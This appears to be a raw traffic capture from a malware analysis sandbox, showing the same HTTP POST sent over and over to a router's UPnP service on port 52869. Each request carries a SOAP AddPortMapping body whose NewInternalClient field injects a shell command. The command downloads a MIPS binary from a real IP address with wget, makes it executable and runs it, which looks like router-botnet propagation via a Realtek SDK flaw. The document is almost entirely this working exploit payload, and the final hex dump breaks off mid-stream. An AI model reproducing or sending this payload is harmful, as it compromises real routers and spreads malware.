                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:44.731213093 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.099148035 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.451167107 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:00.154870987 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:18.074227095 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.889389038 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      16192.168.2.154681045.125.58.4352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:43.002926111 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 